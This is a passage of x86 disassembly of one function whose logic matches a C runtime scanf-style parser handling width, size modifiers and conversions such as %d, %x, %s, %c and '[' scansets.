var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B723
		mov	edi, [ebp+arg_0]
		jmp	short loc_41AD4C
; ---------------------------------------------------------------------------


loc_41AD47:				; CODE XREF: sub_41AD1D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41AD4C:				; CODE XREF: sub_41AD1D+28j
		cmp	ds:dword_437F5C, 1
		jle	short loc_41AD64
		movzx	eax, al
		push	8
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41AD73
; ---------------------------------------------------------------------------


loc_41AD64:				; CODE XREF: sub_41AD1D+36j
		mov	ecx, ds:off_437D50
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41AD73:				; CODE XREF: sub_41AD1D+45j
		cmp	eax, ebx
		jz	short loc_41ADAD
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7AA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B793
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E075
		add	esp, 0Ch


loc_41AD9B:				; CODE XREF: sub_41AD1D+8Ej
		test	eax, eax
		jz	short loc_41ADAD
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E075
		pop	ecx
		jmp	short loc_41AD9B
; ---------------------------------------------------------------------------


loc_41ADAD:				; CODE XREF: sub_41AD1D+58j
					; sub_41AD1D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B68F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41ADE4:				; CODE XREF: sub_41AD1D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_437F5C, 1
		jle	short loc_41AE01
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41AE10
; ---------------------------------------------------------------------------


loc_41AE01:				; CODE XREF: sub_41AD1D+D3j
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41AE10:				; CODE XREF: sub_41AD1D+E2j
		test	eax, eax
		jz	short loc_41AE26
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE26:				; CODE XREF: sub_41AD1D+F5j
		cmp	ebx, 4Eh
		jg	short loc_41AE69
		jz	short loc_41AE8B
		cmp	ebx, 2Ah
		jz	short loc_41AE64
		cmp	ebx, 46h
		jz	short loc_41AE8B
		cmp	ebx, 49h
		jz	short loc_41AE46
		cmp	ebx, 4Ch
		jnz	short loc_41AE78
		inc	[ebp+var_D]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE46:				; CODE XREF: sub_41AD1D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41AE78
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41AE78
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE64:				; CODE XREF: sub_41AD1D+113j
		inc	[ebp+var_E]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE69:				; CODE XREF: sub_41AD1D+10Cj
		cmp	ebx, 68h
		jz	short loc_41AE85
		cmp	ebx, 6Ch
		jz	short loc_41AE7D
		cmp	ebx, 77h
		jz	short loc_41AE80


loc_41AE78:				; CODE XREF: sub_41AD1D+122j
					; sub_41AD1D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE7D:				; CODE XREF: sub_41AD1D+154j
		inc	[ebp+var_D]


loc_41AE80:				; CODE XREF: sub_41AD1D+159j
		inc	[ebp+var_5]
		jmp	short loc_41AE8B
; ---------------------------------------------------------------------------


loc_41AE85:				; CODE XREF: sub_41AD1D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41AE8B:				; CODE XREF: sub_41AD1D+107j
					; sub_41AD1D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41ADE4
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41AEB0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41AEB0:				; CODE XREF: sub_41AD1D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41AECE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41AECA
		cmp	al, 43h
		jz	short loc_41AECA
		or	[ebp+var_5], 0FFh
		jmp	short loc_41AECE
; ---------------------------------------------------------------------------


loc_41AECA:				; CODE XREF: sub_41AD1D+1A1j
					; sub_41AD1D+1A5j
		mov	[ebp+var_5], 1


loc_41AECE:				; CODE XREF: sub_41AD1D+19Bj
					; sub_41AD1D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AF07
		cmp	esi, 63h
		jz	short loc_41AEF8
		cmp	esi, 7Bh
		jz	short loc_41AEF8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B7AA
		pop	ecx
		jmp	short loc_41AF03
; ---------------------------------------------------------------------------


loc_41AEF8:				; CODE XREF: sub_41AD1D+1C5j
					; sub_41AD1D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779


loc_41AF03:				; CODE XREF: sub_41AD1D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41AF07:				; CODE XREF: sub_41AD1D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AF17
		cmp	[ebp+var_C], eax
		jz	loc_41B6F3


loc_41AF17:				; CODE XREF: sub_41AD1D+1EFj
		cmp	esi, 6Fh
		jg	loc_41B17E
		jz	loc_41B430
		cmp	esi, 63h
		jz	loc_41B15B
		cmp	esi, 64h
		jz	loc_41B430
		jle	loc_41B1A8
		cmp	esi, 67h
		jle	short loc_41AF7B
		cmp	esi, 69h
		jz	short loc_41AF63
		cmp	esi, 6Eh
		jnz	loc_41B1A8
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B65E
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41AF63:				; CODE XREF: sub_41AD1D+229j
		push	64h
		pop	esi


loc_41AF66:				; CODE XREF: sub_41AD1D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41B1F0
		mov	[ebp+var_17], 1
		jmp	loc_41B1F5
; ---------------------------------------------------------------------------


loc_41AF7B:				; CODE XREF: sub_41AD1D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AF97
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AF9C
; ---------------------------------------------------------------------------


loc_41AF97:				; CODE XREF: sub_41AD1D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AFB3


loc_41AF9C:				; CODE XREF: sub_41AD1D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFB6
; ---------------------------------------------------------------------------


loc_41AFB3:				; CODE XREF: sub_41AD1D+27Dj
		mov	edi, [ebp+arg_0]


loc_41AFB6:				; CODE XREF: sub_41AD1D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AFC5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AFCC


loc_41AFC5:				; CODE XREF: sub_41AD1D+29Dj
		mov	[ebp+var_C], 15Dh


loc_41AFCC:				; CODE XREF: sub_41AD1D+2A6j
					; sub_41AD1D+2F2j
		cmp	ds:dword_437F5C, 1
		jle	short loc_41AFE1
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41AFEC
; ---------------------------------------------------------------------------


loc_41AFE1:				; CODE XREF: sub_41AD1D+2B6j
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AFEC:				; CODE XREF: sub_41AD1D+2C2j
		test	eax, eax
		jz	short loc_41B011
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B011
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFCC
; ---------------------------------------------------------------------------


loc_41B011:				; CODE XREF: sub_41AD1D+2D1j
					; sub_41AD1D+2DBj
		cmp	ds:byte_437F60,	bl
		jnz	short loc_41B07F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B07F
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		mov	al, ds:byte_437F60
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41B03A:				; CODE XREF: sub_41AD1D+360j
		cmp	ds:dword_437F5C, 1
		jle	short loc_41B04F
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B05A
; ---------------------------------------------------------------------------


loc_41B04F:				; CODE XREF: sub_41AD1D+324j
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B05A:				; CODE XREF: sub_41AD1D+330j
		test	eax, eax
		jz	short loc_41B07F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B07F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B03A
; ---------------------------------------------------------------------------


loc_41B07F:				; CODE XREF: sub_41AD1D+2FAj
					; sub_41AD1D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B117
		cmp	ebx, 65h
		jz	short loc_41B097
		cmp	ebx, 45h
		jnz	loc_41B117


loc_41B097:				; CODE XREF: sub_41AD1D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B117
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B0BE
		mov	[esi], al
		inc	esi
		jmp	short loc_41B0C3
; ---------------------------------------------------------------------------


loc_41B0BE:				; CODE XREF: sub_41AD1D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B0E1


loc_41B0C3:				; CODE XREF: sub_41AD1D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B0D2
		and	[ebp+var_C], eax
		jmp	short loc_41B0E1
; ---------------------------------------------------------------------------


loc_41B0D2:				; CODE XREF: sub_41AD1D+3AEj
					; sub_41AD1D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B0E1:				; CODE XREF: sub_41AD1D+3A4j
					; sub_41AD1D+3B3j
		cmp	ds:dword_437F5C, 1
		jle	short loc_41B0F6
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B101
; ---------------------------------------------------------------------------


loc_41B0F6:				; CODE XREF: sub_41AD1D+3CBj
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B101:				; CODE XREF: sub_41AD1D+3D7j
		test	eax, eax
		jz	short loc_41B117
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B117
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B0D2
; ---------------------------------------------------------------------------


loc_41B117:				; CODE XREF: sub_41AD1D+366j
					; sub_41AD1D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B793
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B723
		cmp	[ebp+var_E], 0
		jnz	loc_41B684
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_438090
		add	esp, 0Ch
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B15B:				; CODE XREF: sub_41AD1D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41B16A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41B16A:				; CODE XREF: sub_41AD1D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41B174
		mov	[ebp+var_16], 1


loc_41B174:				; CODE XREF: sub_41AD1D+451j
		mov	edi, offset dword_4380C0
		jmp	loc_41B289
; ---------------------------------------------------------------------------


loc_41B17E:				; CODE XREF: sub_41AD1D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41B42C
		sub	eax, 3
		jz	loc_41B27A
		dec	eax
		dec	eax
		jz	loc_41B430
		sub	eax, 3
		jz	loc_41AF66
		sub	eax, 3
		jz	short loc_41B1CC


loc_41B1A8:				; CODE XREF: sub_41AD1D+21Bj
					; sub_41AD1D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B6F3
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B684
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B1CC:				; CODE XREF: sub_41AD1D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41B1D6
		mov	[ebp+var_16], 1


loc_41B1D6:				; CODE XREF: sub_41AD1D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41B28D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41B289
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: sub_41AD1D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41B217


loc_41B1F5:				; CODE XREF: sub_41AD1D+259j
		dec	[ebp+var_C]
		jnz	short loc_41B206
		cmp	[ebp+var_20], 0
		jz	short loc_41B206
		mov	[ebp+var_F], 1
		jmp	short loc_41B217
; ---------------------------------------------------------------------------


loc_41B206:				; CODE XREF: sub_41AD1D+4DBj
					; sub_41AD1D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B217:				; CODE XREF: sub_41AD1D+4D6j
					; sub_41AD1D+4E7j
		cmp	ebx, 30h
		jnz	loc_41B465
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41B265
		cmp	bl, 58h
		jz	short loc_41B265
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41B24F
		push	6Fh


loc_41B249:				; CODE XREF: sub_41AD1D+55Bj
		pop	esi
		jmp	loc_41B465
; ---------------------------------------------------------------------------


loc_41B24F:				; CODE XREF: sub_41AD1D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B793
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41B462
; ---------------------------------------------------------------------------


loc_41B265:				; CODE XREF: sub_41AD1D+517j
					; sub_41AD1D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41B249
; ---------------------------------------------------------------------------


loc_41B27A:				; CODE XREF: sub_41AD1D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41B284
		mov	[ebp+var_16], 1


loc_41B284:				; CODE XREF: sub_41AD1D+561j
		mov	edi, offset dword_4380B8


loc_41B289:				; CODE XREF: sub_41AD1D+45Cj
					; sub_41AD1D+4CEj
		or	[ebp+var_18], 0FFh


loc_41B28D:				; CODE XREF: sub_41AD1D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B2B1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41B2B1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41B2B4
; ---------------------------------------------------------------------------


loc_41B2B1:				; CODE XREF: sub_41AD1D+584j
					; sub_41AD1D+589j
		mov	dl, [ebp+var_35]


loc_41B2B4:				; CODE XREF: sub_41AD1D+592j
					; sub_41AD1D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41B319
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41B300
		test	dl, dl
		jz	short loc_41B300
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41B300
		inc	edi
		cmp	dl, cl
		jnb	short loc_41B2D3
		mov	al, cl
		jmp	short loc_41B2D7
; ---------------------------------------------------------------------------


loc_41B2D3:				; CODE XREF: sub_41AD1D+5B0j
		mov	al, dl
		mov	dl, cl


loc_41B2D7:				; CODE XREF: sub_41AD1D+5B4j
		cmp	dl, al
		ja	short loc_41B2FC
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41B2E4:				; CODE XREF: sub_41AD1D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41B2E4


loc_41B2FC:				; CODE XREF: sub_41AD1D+5BCj
		xor	dl, dl
		jmp	short loc_41B2B4
; ---------------------------------------------------------------------------


loc_41B300:				; CODE XREF: sub_41AD1D+5A0j
					; sub_41AD1D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41B2B4
; ---------------------------------------------------------------------------


loc_41B319:				; CODE XREF: sub_41AD1D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B723
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B32B
		mov	[ebp+arg_4], edi


loc_41B32B:				; CODE XREF: sub_41AD1D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B342:				; CODE XREF: sub_41AD1D+6BCj
					; sub_41AD1D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41B356
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41B3F2


loc_41B356:				; CODE XREF: sub_41AD1D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41B3E6
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41B3E6
		cmp	[ebp+var_E], 0
		jnz	short loc_41B3DE
		cmp	[ebp+var_16], 0
		jz	short loc_41B3D3
		mov	ecx, ds:off_437D50
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B3B2
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_37], al


loc_41B3B2:				; CODE XREF: sub_41AD1D+686j
		push	ds:dword_437F5C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DFAD
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41B3D6
; ---------------------------------------------------------------------------


loc_41B3D3:				; CODE XREF: sub_41AD1D+673j
		mov	[esi], al
		inc	esi


loc_41B3D6:				; CODE XREF: sub_41AD1D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41B342
; ---------------------------------------------------------------------------


loc_41B3DE:				; CODE XREF: sub_41AD1D+66Dj
		inc	[ebp+var_30]
		jmp	loc_41B342
; ---------------------------------------------------------------------------


loc_41B3E6:				; CODE XREF: sub_41AD1D+649j
					; sub_41AD1D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B3F2:				; CODE XREF: sub_41AD1D+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B723
		cmp	[ebp+var_E], 0
		jnz	loc_41B684
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B684
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B424
		and	word ptr [eax],	0
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B424:				; CODE XREF: sub_41AD1D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B42C:				; CODE XREF: sub_41AD1D+466j
		mov	[ebp+var_D], 1


loc_41B430:				; CODE XREF: sub_41AD1D+203j
					; sub_41AD1D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41B43E
		mov	[ebp+var_17], 1
		jmp	short loc_41B443
; ---------------------------------------------------------------------------


loc_41B43E:				; CODE XREF: sub_41AD1D+719j
		cmp	ebx, 2Bh
		jnz	short loc_41B465


loc_41B443:				; CODE XREF: sub_41AD1D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41B454
		cmp	[ebp+var_20], 0
		jz	short loc_41B454
		mov	[ebp+var_F], 1
		jmp	short loc_41B465
; ---------------------------------------------------------------------------


loc_41B454:				; CODE XREF: sub_41AD1D+729j
					; sub_41AD1D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		pop	ecx
		mov	ebx, eax


loc_41B462:				; CODE XREF: sub_41AD1D+543j
		mov	[ebp+var_14], ebx


loc_41B465:				; CODE XREF: sub_41AD1D+4FDj
					; sub_41AD1D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B57E
		cmp	[ebp+var_F], 0
		jnz	loc_41B55C


loc_41B479:				; CODE XREF: sub_41AD1D+82Cj
		cmp	esi, 78h
		jnz	short loc_41B4CD
		cmp	ds:dword_437F5C, 1
		jle	short loc_41B496
		push	80h
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B4A3
; ---------------------------------------------------------------------------


loc_41B496:				; CODE XREF: sub_41AD1D+768j
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B4A3:				; CODE XREF: sub_41AD1D+777j
		test	eax, eax
		jz	loc_41B54E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E0A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B742
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B520
; ---------------------------------------------------------------------------


loc_41B4CD:				; CODE XREF: sub_41AD1D+75Fj
		cmp	ds:dword_437F5C, 1
		jle	short loc_41B4E2
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B4ED
; ---------------------------------------------------------------------------


loc_41B4E2:				; CODE XREF: sub_41AD1D+7B7j
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B4ED:				; CODE XREF: sub_41AD1D+7C3j
		test	eax, eax
		jz	short loc_41B54E
		cmp	esi, 6Fh
		jnz	short loc_41B50B
		cmp	ebx, 38h
		jge	short loc_41B54E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E0A0
		jmp	short loc_41B51A
; ---------------------------------------------------------------------------


loc_41B50B:				; CODE XREF: sub_41AD1D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_415980


loc_41B51A:				; CODE XREF: sub_41AD1D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41B520:				; CODE XREF: sub_41AD1D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B538
		dec	[ebp+var_C]
		jz	short loc_41B55C


loc_41B538:				; CODE XREF: sub_41AD1D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B479
; ---------------------------------------------------------------------------


loc_41B54E:				; CODE XREF: sub_41AD1D+788j
					; sub_41AD1D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B55C:				; CODE XREF: sub_41AD1D+756j
					; sub_41AD1D+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B642
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B642
; ---------------------------------------------------------------------------


loc_41B57E:				; CODE XREF: sub_41AD1D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B63A


loc_41B588:				; CODE XREF: sub_41AD1D+90Aj
		cmp	esi, 78h
		jz	short loc_41B5CC
		cmp	esi, 70h
		jz	short loc_41B5CC
		cmp	ds:dword_437F5C, 1
		jle	short loc_41B5A7
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B5B2
; ---------------------------------------------------------------------------


loc_41B5A7:				; CODE XREF: sub_41AD1D+87Cj
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B5B2:				; CODE XREF: sub_41AD1D+888j
		test	eax, eax
		jz	short loc_41B62C
		cmp	esi, 6Fh
		jnz	short loc_41B5C5
		cmp	ebx, 38h
		jge	short loc_41B62C
		shl	edi, 3
		jmp	short loc_41B604
; ---------------------------------------------------------------------------


loc_41B5C5:				; CODE XREF: sub_41AD1D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B604
; ---------------------------------------------------------------------------


loc_41B5CC:				; CODE XREF: sub_41AD1D+86Ej
					; sub_41AD1D+873j
		cmp	ds:dword_437F5C, 1
		jle	short loc_41B5E4
		push	80h
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B5F1
; ---------------------------------------------------------------------------


loc_41B5E4:				; CODE XREF: sub_41AD1D+8B6j
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 80h


